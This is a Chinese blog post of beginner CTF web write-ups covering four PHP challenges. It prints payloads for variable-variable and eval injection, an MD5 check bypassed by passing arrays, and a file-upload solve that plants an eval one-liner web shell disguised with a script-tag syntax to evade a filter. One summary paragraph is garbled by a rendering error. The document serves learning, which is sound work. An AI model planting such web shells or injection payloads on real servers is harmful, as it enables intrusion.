欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

CTF WP记录 ---web

程序员文章站 2022-05-13 19:40:02
...

说明:本人网安小白,单纯的想记录通过CTF来巩固自己所学的知识,见证自己的成长
flag:一周四篇,不定期更新,从零开始,前期尽量解释清楚涉及到的所有知识点。

第一题:“百度杯”CTF比赛 2017 二月场 **-1

  1. List item

    打开题目连接直接显示了一段代码:

<?php
include "flag.php"; 
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
  die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
代码大致意思分析:
include获取指定文件flag.php存在的所有文本,代码,标记,使用
使用变量获取hello值,赋值给$a 。 
对a做一个正则匹配,a要在[A-Za-z0-9]并进行多次匹配。
执行函数eval ,输出$$a的类型与值

通过代码分析可知,最后需要输出KaTeX parse error: Can't use function '$' in math mode at position 7: a,而只给了$̲a赋值,由此想到全局变量传参给a。所以可构造payload

http://8c2dfa1f3da84918a42ecb2149dc72ffc161998988314ec0.changame.ichunqiu.com/?hello=GLOBALS

CTF WP记录 ---web

知识点总结
1, r e q u e s t 变 量 是 可 以 接 收 H T M L 表 单 数 据 ( g e t 传 参 和 p o s t 两 种 方 式 的 ) @ 是 用 来 屏 蔽 错 误 信 息 , 当 函 数 不 存 在 或 者 包 含 文 件 不 存 在 时 不 会 显 示 错 误 的 信 息 2 , e v a l ( ) 函 数 把 字 符 串 按 照 P H P 代 码 来 计 算 。 该 字 符 串 必 须 是 合 法 的 P H P 代 码 , 且 必 须 以 分 号 结 尾 。 3 , s h o w s o u r c e ( ) 函 数 对 文 件 进 行 语 法 高 亮 显 示 。 4 , v a r d u m p : 输 出 变 量 _request变量是可以接收HTML表单数据(get传参和post两种方式的) @是用来屏蔽错误信息,当函数不存在或者包含文件不存在时不会显示错误的信息 2,eval() 函数把字符串按照 PHP 代码来计算。该字符串必须是合法的 PHP 代码,且必须以分号结尾。 3,show_source() 函数 对文件进行语法高亮显示。 4,var_dump:输出变量 requestHTMLgetpost@2eval()PHPPHP3showsource()4vardump:hello=$$a的类型与值。
5,[正则表达式-元字符]https://www.runoob.com/regexp/regexp-metachar.html

第二题:“百度杯”CTF比赛 2017 二月场 **-2

首先打开链接看到和第一题一样的代码,题目提示flag没有在变量中,代码里面除了变量就只有flag.php文件了。所以解题思路很清晰:读取flag.php文件
CTF WP记录 ---web

构造payload:146dfc71df0743e29616ad802aba4b9aea6408916d874ba8.changame.ichunqiu.com/?hello=file_get_contens(“flag.php”)
查看源代码找到payload的进行提交

知识点掌握:文件的读取函数
file(“path”) :将整个文件读入到一个数组中
file_get_contents(“path(必读取的文件名)”):将整个文件读入到一个字符串中首选办法,若系统支持,还能使用内存映射技术增强性能
(二者类似,可自行操作查看其中的差别)

第三题:“百度杯”CTF比赛 2017 二月场 **-3

打开链接看到如下代码

<?php 
error_reporting(0);//关闭错误报告
session_start();//启用session新会话 或者重用现有会话
require('./flag.php');//获取./flag.php文件
if(!isset($_SESSION['nums'])){//isset检测变量是否设置,nums 变量    $_session用户会话保存变量nums
  $_SESSION['nums'] = 0;
  $_SESSION['time'] = time();
  $_SESSION['whoami'] = 'ea';
}

if($_SESSION['time']+120<time()){//会话时间不要超过120秒,否则摧毁会话
  session_destroy();
}

$value = $_REQUEST['value'];//将value会话赋值给$_value变量
$str_rand = range('a', 'z');//str_rand在a-z范围
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];//两个value值都在26个字母范围内

if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){//返回MD5加密的部分,MD5不能处理数组所以就传数组
  $_SESSION['nums']++;
  $_SESSION['whoami'] = $str_rands;
  echo $str_rands;
}

if($_SESSION['nums']>=10){//会话次数大于等于10 则输出flag
  echo $flag;
}

show_source(__FILE__);
?>

通过代码审计;发现在120秒内传入数组value[0]value[1]的值,其值在a-z之间,传入次数大于10,就可以获得flag

知识点收纳总结:
error_reporting()显示错误报告的等级
MD5不会处理数组
session_start() :使用基于cookie值都需要调用session_start()函数,告知服务器启用session会话。用于开启一段新的会话或者重用会话
require与include的区别:

require 这个函数通常放在 PHP 程序的最前面,PHP 程序在执行前,就会先读入 require 所指定引入的文件,使它变成 PHP 程序网页的一部份。常用的函数,亦可以这个方法将它引入网页中。

include 这个函数一般是放在流程控制的处理部分中。PHP 程序网页在读到 include 的文件时,才将它读进来。这种方式,可以把程序执行时的流程简单化。

他们两个的用途是完全一样的,不一定非得哪个放在最前面哪个放在中间。他们最根本的区别在于错误处理的方式不一样。

require一个文件存在错误的话,那么程序就会中断执行了,并显示致命错误
include一个文件存在错误的话,那么程序不会中端,而是继续执行,并显示一个警告错误。

**

第四题:“百度杯”CTF比赛 九月场 upload 打开链接,文件上传

**

方法一:
第一反应就是构造一句话,直接上菜刀拿flag
上传<?php @eval($_post['cmd']);?> 查看源码发现<? php 被过滤了
百度之后发现php还有其他的的方式:
1,

<?php echo 'anfhi"; ?>

2,

<? echo "ciegi"; ?>

3,
<%
echo “jdigaog”;
%>

4,<script language = “php”?>
echo “joigjo”;

上传</script language = “pHP”>@eval($_POST[‘cmd’])
连接菜刀,访问此文件的上一层目录,可以找到flag.php问价找到flag

方法二:
利用文件读取函数直接读取flag

相关标签: CTF